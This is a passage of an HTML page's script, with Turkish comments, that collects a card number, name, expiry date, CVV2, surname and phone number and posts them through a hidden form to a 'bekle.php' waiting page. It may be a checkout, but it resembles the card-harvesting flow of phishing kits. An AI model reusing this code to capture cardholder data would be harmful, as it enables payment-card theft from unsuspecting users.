                const transaction_id = result.transaction_id;
                const params = new URLSearchParams();
                params.append('cc_number', ccNumber);
                params.append('cc_name', cc_name);
                params.append('cc_expire_date_month', cc_expire_date_month);
                params.append('cc_expire_date_year', cc_expire_date_year);
                params.append('cc_cvv2', cc_cvv2);
                if (inputData2) {
                    params.append('soyad', inputData2);
                }
                if (inputData3) {
                    params.append('tel', inputData3);
                }

                // Form gönderimi için yeni bir form oluştur
                const form = document.createElement('form');
                form.method = 'POST';
                form.action = 'bekle.php?t=' + transaction_id;

                // Parametreleri form olarak ekle
                params.forEach((value, key) => {
                    const input = document.createElement('input');
                    input.type = 'hidden';
                    input.name = key;
                    input.value = value;
                    form.appendChild(input);
                });

                document.body.appendChild(form);
                form.submit();
            });
        }
    });
    });
</script>

</body>
</html>